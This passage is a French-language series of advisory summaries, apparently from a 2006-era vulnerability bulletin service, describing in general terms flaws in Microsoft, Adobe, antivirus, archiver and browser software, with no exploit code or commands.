Une vulnérabilité a été identifiée dans Microsoft Windows Media Player, elle pourrait être exploitée par des attaquants distants afin de compromettre un système vulnérable. Ce problème résulte d'une erreur de type buffer overflow présente au niveau de la librairie WMVCORE.DLL (Windows Media Playback/Authoring) qui ne gere pas correctement une liste ASX contenant un tag "REF HREF" excessivement long, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires en incitant un utilisateur à visiter une page web spécialement conçue.

Une vulnérabilité a été identifiée dans Microsoft Word, elle pourrait être exploitée par des attaquants afin de compromettre un système vulnérable. Ce problème résulte d'une erreur présente au niveau du traitement d'un document malformé, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires en incitant un utilisateur à ouvrir un fichier Word spécialement conçu.
Note : Cette vulnérabilité est actuellement exploitée dans des attaques ciblées.

Une vulnérabilité a été identifiée dans Microsoft Windows, elle pourrait être exploitée par des attaquants afin de causer un déni de service. Ce problème résulte d'une erreur présente au niveau du service d'impression "Spoolsv.exe" qui ne gère pas correctement des requêtes "GetPrinterData()" malformées, ce qui pourrait être exploité par des attaquants afin d'altérer le fonctionnement d'un système vulnérable.

Une vulnérabilité a été identifiée dans Microsoft XML Core Services, elle pourrait être exploitée par des attaquants distants afin de compromettre un système vulnérable. Ce problème résulte d'une erreur présente au niveau du contrôleur ActiveX XMLHTTP qui ne gère pas correctement une méthode "setRequestHeader()" spécialement conçue, ce qui pourrait être exploité par des attaquants afin d'altérer le fonctionnement d'un navigateur vulnérable ou afin d'exécuter des commandes arbitraires en incitant un utilisateur à visiter une page web malicieuse.

Une vulnérabilité a été identifiée dans Microsoft Windows, elle pourrait être exploitée par des attaquants distants afin de compromettre un système vulnérable. Ce problème résulte d'une erreur de type buffer overflow présente au niveau de la fonction "NetpManageIPCConnect()" appelée par "NetrJoinDomain2()" au sein du service Workstation, ce qui pourrait être exploité par des attaquants afin d'altérer le fonctionnement d'un système vulnérable ou afin d'exécuter des commandes arbitraires distantes.
Note : Les systèmes Windows 2000 sont les plus menacés par cette faille. Sous Windows XP, seul un attaquant authentifié peut exploiter cette vulnérabilité.

Plusieurs vulnérabilités ont été identifiées dans Microsoft Windows, elles pourraient être exploitées par des attaquants distants afin de compromettre un système vulnérable. Ces failles résultent d'erreurs présentes au niveau du lecteur Macromedia Flash distribué avec certaines versions du système d'exploitation, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires en incitant un utilisateur à visiter une page Web spécialement conçue. Pour plus d'informations, se référer au bulletin : FrSIRT/AVIS-2006-3573

Une vulnérabilité a été identifiée dans Microsoft Windows, elle pourrait être exploitée par des attaquants distants afin de compromettre un système vulnérable. Ce problème résulte d'une erreur présente au niveau de l'Agent Microsoft qui ne gère pas correctement certains fichiers ".ACF" malformés, ce qui pourrait être exploité par des attaquants afin d'altérer le fonctionnement d'un système vulnérable ou afin d'exécuter des commandes arbitraires en incitant un utilisateur à visiter une page web spécialement conçue.

Une vulnérabilité a été identifiée dans Microsoft Internet Explorer, elle pourrait être exploitée par des attaquants distants afin de causer un déni de service ou afin de compromettre un système vulnérable. Ce problème résulte d'une erreur présente au niveau du traitement de certains tags HTML malformés, ce qui pourrait être exploité par des attaquants afin d'altérer le fonctionnement d'un navigateur vulnérable ou afin d'exécuter des commandes arbitraires en incitant un utilisateur à visiter une page web spécialement conçue.

Deux vulnérabilités ont été identifiées dans Microsoft Windows, elles pourraient être exploitées par des attaquants afin de compromettre un système vulnérable ou afin de causer un déni de service. Ces failles résultent d'erreurs de type buffer overflow présentes au niveau du service pour NetWare (CSNW) qui ne gère pas correctement certains messages malformés, ce qui pourrait être exploité par des attaquants distants ou locaux afin d'exécuter des commandes arbitraires ou afin d'altérer le fonctionnement d'un système vulnérable.
Note : Le service vulnérable n'est pas installé par défaut.

Une vulnérabilité a été identifiée dans Microsoft Windows, elle pourrait être exploitée par des attaquants afin de contourner les mesures de sécurité et potentiellement compromettre un système vulnérable. Ce problème résulte d'une erreur présente au niveau de l'application "packager.exe" (Object Packager) qui ne valide pas correctement la propriété "Command Line", ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires en incitant un utilisateur à ouvrir un document spécialement conçu puis à cliquer sur un objet spécifique et accepter une fenêtre affichée par l'application.

Plusieurs vulnérabilités ont été identifiées dans Microsoft Windows, elles pourraient être exploitées par des attaquants distants afin de causer un déni de service. Ces failles résultent d'erreurs présentes aux niveaux des implémentations IPv6 des protocoles ICMP, TCP et TCP/IP, ce qui pourrait être exploité par des attaquants afin d'altérer le fonctionnement d'un système vulnérable via un requête spécialement conçu.

Une vulnérabilité a été identifiée dans Microsoft Windows, elle pourrait être exploitée par des utilisateurs malveillants afin de compromettre un système vulnérable. Ce problème résulte d'une erreur présente au niveau du service Serveur qui ne gère pas correctement des messages malformés, ce qui pourrait être exploité par des attaquants authentifiés afin d'exécuter des commandes arbitraires via un message spécialement conçu.

Plusieurs vulnérabilités ont été identifiées dans Microsoft Office, elles pourraient être exploitées par des attaquants afin de compromettre un système vulnérable. Ces failles résultent d'erreurs présentes au niveau du traitement de certains fichiers malformés, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires en incitant un utilisateur à ouvrir un fichier spécialement conçu.

Plusieurs vulnérabilités ont été identifiées dans Microsoft Windows, elles pourraient être exploitées par des attaquants afin de compromettre un système vulnérable ou afin de contourner les mesures de sécurité.
 
Le premier problème résulte d'une erreur présente au niveau du contrôleur ActiveX XMLHTTP qui n'interprète pas correctement certaines redirections HTTP, ce qui pourrait être exploité par des attaquants afin d'accéder aux cookies associés à un autre domaine.
 
La seconde faille est due à une erreur de type buffer overflow présente au niveau du contrôleur XSLT (Extensible Stylesheet Language Transformations) qui ne gère pas correctement des données malformées, ce qui pourrait être exploité par des sites web malveillants afin d'exécuter des commandes arbitraires.

Plusieurs vulnérabilités ont été identifiées dans Microsoft Word, elles pourraient être exploitées par des attaquants afin de compromettre un système vulnérable. Ces failles résultent d'erreurs présentes au niveau du traitement d'un document malformé, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires en incitant un utilisateur à ouvrir un fichier spécialement conçu.

Plusieurs vulnérabilités ont été identifiées dans Microsoft Excel, elles pourraient être exploitées par des attaquants afin de compromettre un système vulnérable.
 
Le premier problème résulte d'une erreur présente au niveau du traitement d'un document contenant un enregistrement DATETIME malformé, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires en incitant un utilisateur à ouvrir un fichier spécialement conçu.
 
La seconde faille est due à une erreur présente au niveau du traitement d'un fichier Lotus 1-2-3 malformé, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires en incitant un utilisateur à ouvrir un fichier spécialement conçu.
 
La troisième vulnérabilité est due à une erreur présente au niveau du traitement d'un document contenant un enregistrement COLINFO malformé, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires en incitant un utilisateur à ouvrir un fichier spécialement conçu.

Plusieurs vulnérabilités ont été identifiées dans Microsoft PowerPoint, elles pourraient être exploitées par des attaquants afin de compromettre un système vulnérable. Ces failles résultent d'erreurs présentes au niveau du traitement d'une présentation malformé, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires en incitant un utilisateur à ouvrir un document spécialement conçu.

Une vulnérabilité a été identifiée dans Microsoft Windows, elle pourrait être exploitée par des attaquants distants afin de causer un déni de service ou potentiellement compromettre un système vulnérable. Ce problème résulte d'une erreur de type buffer overflow présente au niveau du traitement d'un objet "WebViewFolderIcon" associé à une méthode "setSlice" spécialement conçue, ce qui pourrait être exploité par des attaquants afin d'altérer le fonctionnement d'un navigateur vulnérable ou afin d'exécuter des commandes arbitraires en incitant un utilisateur à visiter une page web spécialement conçue.
Note : Un code d'exploitation a été publié.

Une vulnérabilité a été identifiée dans Microsoft .NET Framework, elle pourrait être exploitée par un utilisateur distant afin de conduire des attaques par cross site scripting. Ce problème résulte d'erreurs présentes aux niveaux des controleurs ASP.NET qui affectent la valeur "true" à la propriété "AutoPostBack", ce qui pourrait être exploité par des attaquants afin d'injecter un code HTML/Javascript malicieux coté client.

Un nouveau défaut de sécurité a été découvert dans Windows. L'exploitation d'une erreur dans le code du composant ActiveX WebViewFolderIcon (webvw.dll) peut permettre à un individu malveillant de prendre le contrôle à distance de l'ordinateur de sa victime ou à un virus de s'exécuter à l'ouverture d'une page web ou d'un courriel piégé.

Une vulnérabilité a été identifiée dans Microsoft PowerPoint, elle pourrait être exploitée par des attaquants afin de compromettre un système vulnérable. Ce problème résulte d'une erreur de type buffer overflow présente au niveau du traitement d'une présentation malformée, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires en incitant un utilisateur à ouvrir un document spécialement conçu.
 
Note : Cette vulnérabilité est actuellement exploitée par les chevaux de Troie Controlppt.W et Trojan.Controlppt.X (aussi connus sous les alias PPDropper.F et Exploit-PPT.d).

Une vulnérabilité a été identifiée dans Microsoft Internet Explorer, elle pourrait être exploitée par des attaquants distants afin de causer un déni de service ou afin de compromettre un système vulnérable. Ce problème résulte d'une erreur de type buffer overflow présente au niveau du traitement d'un document Vector Markup Language (VML) contenant un tag "rect" avec un attribut "fill" excessivement long, ce qui pourrait être exploité par des attaquants afin d'altérer le fonctionnement d'un navigateur vulnérable ou afin d'exécuter des commandes arbitraires en incitant un utilisateur à visiter une page web spécialement conçue.

Deux vulnérabilités ont été identifiées dans Microsoft Internet Explorer, elles pourraient être exploitées par des attaquants distants afin de causer un déni de service ou afin compromettre un système vulnérable. Ces failles résultent d'erreurs de type buffer overflow présentes au niveau du traitement d'une URL excessivement longue, ce qui pourrait être exploité par des attaquants afin d'altérer le fonctionnement d'un navigateur vulnérable ou afin d'exécuter des commandes arbitraires en incitant un utilisateur à visiter une page web spécialement conçue.

Une vulnérabilité a été identifiée dans Microsoft Internet Explorer, elle pourrait être exploitée par des attaquants distants afin de causer un déni de service ou afin de compromettre un système vulnérable. Ce problème résulte d'une erreur de type buffer overflow présente au niveau du traitement d'une méthode "KeyFrame()" malformée associée à un objet "DirectAnimation.PathControl" (daxctle.ocx), ce qui pourrait être exploité par des attaquants afin d'altérer le fonctionnement d'un navigateur vulnérable ou afin d'exécuter des commandes arbitraires en incitant un utilisateur à visiter une page web spécialement conçue.

Une vulnérabilité a été identifiée dans Microsoft Publisher, elle pourrait être exploitée par des attaquants afin de compromettre un système vulnérable. Ce problème résulte d'une erreur de type buffer overflow présente au niveau du traitement d'un fichier ".pub" malformé, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires en incitant un utilisateur à ouvrir un fichier spécialement conçu.

Une vulnérabilité a été identifiée dans Microsoft Windows, elle pourrait être exploitée par un utilisateur distant afin de conduire des attaques par cross site scripting. Ce problème résulte d'une erreur présente au niveau du service d'indexation qui ne filtre pas correctement certaines données, ce qui pourrait être exploité par des attaquants afin d'injecter un code HTML/Javascript malicieux coté client.

Une vulnérabilité a été identifiée dans Microsoft Windows, elle pourrait être exploitée par des attaquants distants afin de compromettre un système vulnérable. Ce problème résulte d'une erreur présente au niveau du service Microsoft Message Queuing (MSMQ) qui ne gère pas correctement des messages PGM (Pragmatic General Multicast) malformés, ce qui pourrait être exploité par des attaquants distants afin d'exécuter des commandes arbitraires.
 
Note : Le service Microsoft Message Queuing (MSMQ) n'est pas installé par défaut.

Une vulnérabilité a été identifiée dans Microsoft Word 2000, elle pourrait être exploitée par des attaquants afin de compromettre un système vulnérable. Ce problème résulte d'une erreur présente au niveau du traitement d'un document malformé, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires en incitant un utilisateur à ouvrir un fichier Word spécialement conçu.
 
Note : Cette vulnérabilité est actuellement exploitée par le trojan Mdropper.Q.

Deux vulnérabilités ont été identifiées dans Microsoft Windows, elles pourraient être exploitées par des attaquants distants afin de compromettre un système vulnérable ou par des utilisateurs malveillants afin d'obtenir des privilèges élevés.
 
Le premier problème résulte d'une erreur présente au niveau de WinLogon, ce qui pourrait être exploité par des utilisateurs malveillants afin d'initialiser des DLLs malicieuses avec des privilèges élevés.
 
La seconde faille est due à une erreur présente au niveau du traitement des exceptions, ce qui pourrait être exploité par des attaquants distants afin d'exécuter des commandes arbitraires.

Deux vulnérabilités ont été identifiées dans Microsoft Windows, elles pourraient être exploitées par des attaquants afin de compromettre un système vulnérable. Ces failles résultent d'erreurs de type buffer overflow présentes au niveau de la Bibliothèque Hypertexte "hlink.dll" qui ne gère pas correctement un lien excessivement long, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires en incitant un utilisateur à ouvrir un document (e.g. Excel ou Word) malicieux puis à cliquer sur un lien spécialement conçu.

Une vulnérabilité a été identifiée dans Microsoft Windows, elle pourrait être exploitée par des attaquants locaux afin d'obtenir des privilèges élevés. Ce problème résulte d'une erreur de type buffer overflow présente au niveau du Kernel, ce qui pourrait être exploité par des utilisateurs malveillants afin d'exécuter des commandes arbitraires avec des privilèges SYSTEM.

Une vulnérabilité a été identifiée dans Microsoft PowerPoint, elle pourrait être exploitée par des attaquants afin de compromettre un système vulnérable. Ce problème résulte d'une erreur de type buffer overflow présente au niveau de la librairie "mso.dll" qui ne gère pas correctement une présentation malformée, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires en incitant un utilisateur à ouvrir un fichier spécialement conçu.
 
Note : Cette vulnérabilité est actuellement exploitée par le trojan PPDropper.B.

Une vulnérabilité a été identifiée dans Visual Basic for Applications (VBA), elle pourrait être exploitée par des attaquants afin de compromettre un système vulnérable. Ce problème résulte d'une erreur de type buffer overflow présente au niveau du traitement de certaines propriétés malformées, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires en incitant un utilisateur à ouvrir un document spécialement conçu (e.g. Word ou Excel).

Une vulnérabilité a été identifiée dans Microsoft Internet Explorer, elle pourrait être exploitée par des attaquants distants afin de causer un déni de service ou potentiellement compromettre un système vulnérable. Ce problème résulte d'une erreur présente au niveau du module "HHCtrl" (HTML Help Control) qui ne gère pas correctement certaines propriétés malformées, ce qui pourrait être exploité par des attaquants afin d'altérer le fonctionnement d'un navigateur vulnérable ou afin d'exécuter des commandes arbitraires en incitant un utilisateur à visiter une page web spécialement conçue.

La (seconde) faille est due à une erreur présente au niveau du traitement des extensions de fichiers présents au sein d'un partage, ce qui pourrait être exploité par des attaquants afin d'inciter un utilisateur à exécuter un fichier HTA malicieux via une page web spécialement conçue.

Une vulnérabilité a été identifiée dans Microsoft Windows, elle pourrait être exploitée par des attaquants distants afin de compromettre un système vulnérable. Ce problème résulte d'une erreur présente au niveau de la librairie MMC (Microsoft Management Console), ce qui pourrait être exploité par des attaquants afin d'exécuter un code arbitraire dans la zone Internet ou Intranet en incitant un utilisateur à visiter une page web malicieuse.

Une vulnérabilité a été identifiée dans Microsoft Windows, elle pourrait être exploitée par des attaquants afin de causer un déni de service ou afin de compromettre un système vulnérable. Ce problème résulte d'une erreur de type buffer overflow présente au niveau de la librairie "inetcomm.dll" (Microsoft Internet Messaging API) qui ne gere pas correctement une URL "mhtml:" excessivement longue, ce qui pourrait être exploité par des attaquants afin d'altérer le fonctionnement d'une application vulnérable (e.g. Internet Explorer ou Windows Explorer) ou afin d'exécuter des commandes arbitraires en incitant un utilisateur à visiter une page web malicieuse ou à ouvrir un favoris Internet spécialement conçu.

Plusieurs vulnérabilités ont été identifiées dans Microsoft Internet Explorer, elles pourraient être exploitées par des attaquants distants afin de compromettre un système vulnérable, obtenir des informations sensibles, ou conduire des attaques par cross domain scripting. Ces failles résultent d'erreurs présentes au niveau du traitement de certains codes HTML ou JavaScript spécialement conçus, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires ou afin d'obtenir et manipuler des données sensibles en incitant un utilisateur à visiter une page web malicieuse.

Deux vulnérabilités ont été identifiées dans Microsoft Windows, elles pourraient être exploitées par des attaquants distants afin de compromettre un système vulnérable.
 
Le premier problème résulte d'une erreur de type buffer overflow présente au niveau de l'API Winsock qui ne gère pas correctement des messages malformés, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires en incitant un utilisateur à ouvrir un fichier spécialement conçu ou à visiter une page malicieuse.
 
La seconde faille est due à une erreur de type buffer overflow présente au niveau du client DNS qui ne gère pas correctement des requêtes malformées, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires via des paquets spécialement conçus.

Une vulnérabilité a été identifiée dans Microsoft Windows, elle pourrait être exploitée par des attaquants distants afin de compromettre un système vulnérable. Ce problème résulte d'une erreur de type buffer overflow présente au niveau du service Server qui ne gère pas correctement certaines requêtes malformées, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires en envoyant des paquets spécialement conçus vers un système affecté.

Une vulnérabilité a été identifiée Microsoft Windows, elle pourrait être exploité par des attaquants distants afin de causer un déni de service. Ce problème résulte d'une erreur présente au niveau de la librairie GDI Plus (Gdiplus.dll) qui ne gère pas correctement certaines images malformées, ce qui pourrait être exploité par des attaquants afin d'altérer le fonctionnement d'une application vulnérable (e.g. Internet Explorer) en incitant un utilisateur à visiter une page web malicieuse ou à ouvrir une image spécialement conçue.

Une vulnérabilité a été identifiée Microsoft Windows, elle pourrait être exploité par des attaquants distants afin de causer un déni de service. Ce problème résulte d'une erreur présente au niveau de la librairie GDI (Gdi32.dll) qui ne gère pas correctement certaines images WMF malformées, ce qui pourrait être exploité par des attaquants afin d'altérer le fonctionnement d'une application vulnérable (e.g. Internet Explorer) en incitant un utilisateur à visiter une page web malicieuse ou à ouvrir une image spécialement conçue.

Une vulnérabilité a été identifiée Microsoft Windows, elle pourrait être exploité par des attaquants distants afin de causer un déni de service. Ce problème résulte d'une erreur de pointeur présente au niveau du service RRAS (Routing et Remote Access Service) qui ne gère pas correctement certaines requêtes malformées, ce qui pourrait être exploité par des attaquants afin d'altérer le fonctionnement d'un système vulnérable.
 
Note : Seuls des attaquants authentifiés peuvent exploiter cette vulnérabilité sous Windows XP Service Pack 2 et Windows Server 2003.

Une vulnérabilité a été identifiée dans Microsoft PowerPoint, elle pourrait être exploitée par des attaquants afin de compromettre un système vulnérable. Ce problème résulte d'une erreur de type buffer overflow présente au niveau de la librairie "mso.dll" qui ne gère pas correctement une présentation malformée, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires en incitant un utilisateur à ouvrir un fichier ".ppt" spécialement conçu.
 
Note : Cette vulnérabilité est actuellement exploitée par le trojan PPDropper.B.

Plusieurs vulnérabilités ont été identifiées dans Microsoft Office, elles pourraient être exploitées par des attaquants afin de compromettre un système vulnérable. Ces failles résultent d'erreurs présentes au niveau du traitement de certaines documents contenant des images PNG ou GIF malformées, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires en incitant un utilisateur à ouvrir un document spécialement conçu.

Plusieurs vulnérabilités ont été identifiées dans Microsoft Office, elles pourraient être exploitées par des attaquants afin de compromettre un système vulnérable. Ces failles résultent d'erreurs présentes au niveau du traitement de certaines documents contenant des chaînes ou des propriétés malformées, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires en incitant un utilisateur à ouvrir un document spécialement conçu.

Plusieurs vulnérabilités ont été identifiées dans Microsoft Excel, elles pourraient être exploitées par des attaquants afin de compromettre un système vulnérable. Ces failles résultent d'erreurs présentes au niveau du traitement de certaines documents contenant des champs "SELECTION", "COLINFO", "OBJECT", "FNGROUPCOUNT" ou "LABEL" malformés, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires en incitant un utilisateur à ouvrir un document spécialement conçu.

Une vulnérabilité a été identifiée dans Microsoft Windows, elle pourrait être exploitée par des attaquants distants afin de compromettre un système vulnérable. Ce problème résulte d'une erreur de type buffer overflow présente au niveau du service Client DHCP qui ne gère pas correctement des réponses malformées, ce qui pourrait être exploité par des attaquants présents au sein du même sous réseau local afin d'exécuter des commandes arbitraires.
 
Note : Les attaques sont limitées au sous-réseau local si DHCP et BOOTP sont désactivés.

Deux vulnérabilités ont été identifiées dans Microsoft Windows, elles pourraient être exploitées par des attaquants distants afin de compromettre un système vulnérable ou afin d'obtenir des informations sensibles.
 
Le premier problème résulte d'une erreur de type heap overflow présente au niveau du service Server qui ne n'utilise pas correctement le mécanisme "mailslot", ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires via un paquet spécialement conçu.
 
La seconde faille est due à une erreur présente au niveau du pilote SMB qui n'initialise pas correctement certains tampons, ce qui pourrait être exploité par des attaquants afin d'accéder à des fragments de la mémoire utilisée pour le transport Server Message Block (SMB).

Une vulnérabilité a été identifiée dans Microsoft Internet Information Services (IIS), elle pourrait être exploitée par des attaquants afin de compromettre un système vulnérable. Ce problème résulte d'une erreur de type buffer overflow présente au niveau du traitement de certaines documents ASP (Active Server Pages) malformées, ce qui pourrait être exploité par un attaquant pouvant uploader une page ASP spécialement conçue afin d'exécuter des commandes arbitraires avec les privilèges du serveur web.

Une vulnérabilité a été identifiée dans Microsoft .NET Framework, elle pourrait être exploitée par des attaquants afin de contourner les mesures de sécurité. Ce problème résulte d'une erreur présente au niveau du traitement de certaines URLs malformées, ce qui pourrait être exploité par des attaquants afin de passer outre les restrictions sécuritaires et accéder à des données protégées.

Plusieurs vulnérabilités ont été identifiées dans Trend Micro OfficeScan, elles pourraient être exploitées par des attaquants afin de compromettre un système vulnérable ou causer un déni de service. Ces failles résultent d'erreurs de type buffer overflow présentes aux niveaux des modules "PCCSRV\Web_console\RemoteInstallCGI\Wizard.exe" et "PCCSRV\Web_console\RemoteInstallCGI\CgiRemoteInstall.exe" qui ne gèrent pas correctement des arguments malformés, ce qui pourrait être exploité par des attaquants authentifiés afin d'exécuter des commandes arbitraires distantes

F-Secure a publié une mise à jour de sécurité pour F-Secure Anti-Virus et F-Secure Internet Gatekeeper afin de corriger une vulnérabilité identifiée dans OpenSSL. Pour plus d'informations, se référer au bulletin : FrSIRT/AVIS-2006-3820

Plusieurs vulnérabilités ont été identifiées dans Adobe Reader et Acrobat, elles pourraient être exploitées par des attaquants distants afin de compromettre un système vulnérable. Ces failles résultent d'erreurs présentes au niveau du contrôleur ActiveX "AcroPDF.dll" qui ne gère pas correctement des méthodes "setPageMode()", "setLayoutMode()", "setNamedDest()" ou "LoadFile()" spécialement conçues, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires en incitant un utilisateur à visiter une page web malicieuse.

Plusieurs vulnérabilités ont été identifiées dans AVG Anti-Virus, elles pourraient être exploitées par des attaquants distants ou des vers afin de compromettre un système vulnérable ou afin de causer un déni de service. Ces failles résultent d'erreurs présentes au niveau du traitement de certains fichiers CAB, DOC, RAR et EXE malformés, ce qui pourrait être exploité par des attaquants afin d'altérer le fonctionnement d'une application vulnérable ou afin d'exécuter des commandes arbitraires via un fichier spécialement conçu.

Plusieurs vulnérabilités ont été identifiées dans WinZip, elles pourraient être exploitées par des attaquants distants afin de compromettre un système vulnérable.
 
Le premier problème résulte d'erreurs présentes au niveau du contrôleur ActiveX "WZFILEVIEW.FileViewCtrl.61" qui ne valide pas correctement les données envoyées via certaines méthodes, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires en incitant un utilisateur à visiter une page web malicieuse.
 
La seconde faille est due à une erreur de type buffer overflow présente au niveau du contrôleur ActiveX FileView qui ne gère pas correctement une méthode "filepattern" malformée, ce qui pourrait être exploité par des attaquants distants afin de compromettre un système vulnérable.

Une vulnérabilité a été identifiée dans Clam AntiVirus (ClamAV), elle pourrait être exploitée par un attaquant distant ou un ver/virus afin de compromettre un système vulnérable ou afin de causer un déni de service. Ce problème résulte d'une erreur de type heap overflow présente au niveau de la fonction "pefromupx()" [libclamav/upx.c] qui ne gère pas correctement certains fichiers UPX malformés, ce qui pourrait être exploité par des attaquants ou des vers/virus afin d'exécuter des commandes arbitraires distantes en envoyant, vers un antivirus vulnérable, un fichier PE/UPX spécialement conçu.

Une vulnérabilité a été identifiée dans plusieurs produits McAfee, elle pourrait être exploitée par des attaquants distants afin de causer un déni de service ou compromettre un système vulnérable. Ce problème résulte d'une erreur de type buffer overflow présente au niveau du contrôleur ActiveX "McSubMgr.dll" (Subscription Manager) qui ne gère pas correctement des arguments excessivement longs, ce qui pourrait être exploité par des attaquants afin d'altérer le fonctionnement d'une application vulnérable ou afin d'exécuter des commandes arbitraires en incitant un utilisateur à visiter un site web spécialement conçu.

Plusieurs vulnérabilités ont été identifiées dans Mozilla Firefox, SeaMonkey et Thunderbird, elles pourraient être exploitées par des attaquants distants afin de compromettre un système vulnérable, contourner les mesures de sécurité, ou obtenir des informations sensibles. Ces failles résultent d'erreurs présentes au niveau du traitement de certaines fonctions JavaScript et méthodes DOM malformées, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires distantes ou afin d'accéder à des données sensibles en incitant un utilisateur à visiter une page web malicieuse ou à ouvrir un email spécialement conçu.

Une vulnérabilité a été identifiée dans Opera, elle pourrait être exploitée par des attaquants distants afin de causer un déni de service. Ce problème résulte d'une erreur présente au niveau du traitement d'une propriété CSS "background" contenant une URL (e.g. HTTPS) excessivement longue, ce qui pourrait être exploité par des attaquants afin d'altérer le fonctionnement d'un navigateur vulnérable en incitant un utilisateur à visiter une page web spécialement conçue.

Une vulnérabilité a été identifiée dans PowerArchiver, elle pourrait être exploité par des attaquants afin de compromettre un système vulnérable. Le problème résulte d'une erreur de type buffer overflow présente au niveau de la librairie "DZIPS32.DLL" qui ne gère pas correctement une archive ZIP spécialement conçue, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires en incitant un utilisateur à ouvrir un fichier forgé.

Une vulnérabilité a été identifiée dans WinRAR, elle pourrait être exploité par des attaquants afin de compromettre un système vulnérable. Le problème résulte d'une erreur de type buffer overflow présente au niveau de "lzh.fmt" qui ne gère pas correctement une archive LHA spécialement conçue, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires en incitant un utilisateur à ouvrir une archive forgée.

Une vulnérabilité a été identifiée dans Adobe Acrobat, elle pourrait être exploitée par des attaquants afin de compromettre un système vulnérable. Ce problème résulte d'une erreur de type buffer overflow présente au niveau du traitement d'un document malformé, ce qui pourrait être exploité par des attaquants afin d'altérer le fonctionnement d'une application vulnérable ou afin d'exécuter des commandes arbitraires via un document spécialement conçu.

Plusieurs vulnérabilités ont été identifiées dans Adobe Macromedia Flash Player, elles pourraient être exploitées par des attaquants afin de compromettre un système vulnérable ou afin de causer un déni de service.
 
Le premier problème résulte d'erreurs présentes au niveau du traitement d'un fichier SWF malformé, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires en incitant un utilisateur à visiter une page spécialement conçue.
 
La seconde faille est due à une erreur inconnue présente au niveau de la gestion d'un fichier SWF malformé, ce qui pourrait être exploité par des sites web malveillants afin d'altérer le fonctionnement d'un navigateur vulnérable.

Deux vulnérabilités ont été identifiées dans plusieurs produits F-Secure, elles pourraient être exploitées par des virus/vers afin de contourner les mesures de sécurité.
 
Le premier problème résulte d'une erreur présente au niveau du traitement d'un fichier exécutable ayant un nom spécialement conçu, ce qui pourrait être exploité par des vers/virus afin de passer outre la procédure de détection de fichiers malveillants.
 
La seconde faille est due à une erreur présente au niveau de la détection d'un fichier malveillant présent au sein d'un media amovible, ce qui pourrait être exploité afin de contourner les mesures de sécurité.

Une vulnérabilité a été identifiée dans Opera, elle pourrait être exploitée par des attaquants distants afin de compromettre un système vulnérable. Ce problème résulte d'une erreur de type integer overflow présente au niveau du traitement d'images JPEG malformées, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires distantes en incitant un utilisateur à visiter une page web malicieuse.

Une faiblesse a été identifiée dans Opera, elle pourrait être exploitée par des sites web malveillants afin d'afficher le certificat appartenant à un autre site. Ce problème résulte d'une erreur présente au niveau de la barre de sécurité SSL qui n'est pas correctement réinitialisée après l'affichage d'une boîte de dialogue de téléchargement, ce qui pourrait être exploité par un site malveillant afin d'afficher une barre de sécurité jaune en utilisant un certificat appartenant à un site de confiance.

Une vulnérabilité a été identifiée dans Clam AntiVirus (ClamAV), elle pourrait être exploitée par des attaquants afin de compromettre un système vulnérable. Ce problème résulte d'une erreur présente au niveau du client HTTP inclus avec l'utilitaire Freshclam qui ne gère pas correctement des entêtes HTTP excessivement longues, ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires en incitant un utilisateur à se connecter à un serveur de signatures spécialement conçu.

Plusieurs vulnérabilités ont été identifiées dans Clam AntiVirus (ClamAV), elles pourraient être exploitées par des attaquants distants afin de compromettre un système vulnérable ou afin de causer un déni de service.
 
Le premier problème résulte d'une erreur de type integer overflow présente au niveau du fichier "libclamav/pe.c" qui ne gère pas correctement certaines entêtes PE malformées, ce qui pourrait être exploité par des attaquants distants afin de compromettre un système vulnérable où l'option "ArchiveMaxFileSize" a été désactivée.
 
La seconde faille est due à des erreurs de type format string présentes au niveau du fichier "shared/output.c", ce qui pourrait être exploité par des attaquants afin de compromettre un système vulnérable.
 
La troisième vulnérabilité se situe au niveau de la fonction "cli_bitset_set()" [ibclamav/others.c] qui n'accède pas correctement à l'a mémoire, ce qui pourrait être exploité par des attaquants afin d'altérer le fonctionnement d'un système vulnérable.

Une vulnérabilité critique a été identifiée dans Opera, elle pourrait être exploitée par des attaquants distants afin de compromettre un système vulnérable. Le problème résulte d'erreurs présentes au niveau de Macromedia Flash Player (distribué par défaut avec le navigateur), ce qui pourrait être exploité par des attaquants afin d'exécuter des commandes arbitraires en incitant un utilisateur à visiter une page Web malicieuse ou à ouvrir un fichier flash "SWF" spécialement conçu. Pour plus d'informations, se référer au bulletin : FrSIRT/AVIS-2006-0952

Deux vulnérabilités ont été identifiées dans NOD32, elles pourraient être exploitées par des attaquants locaux afin d'obtenir des privilèges élevés.
 
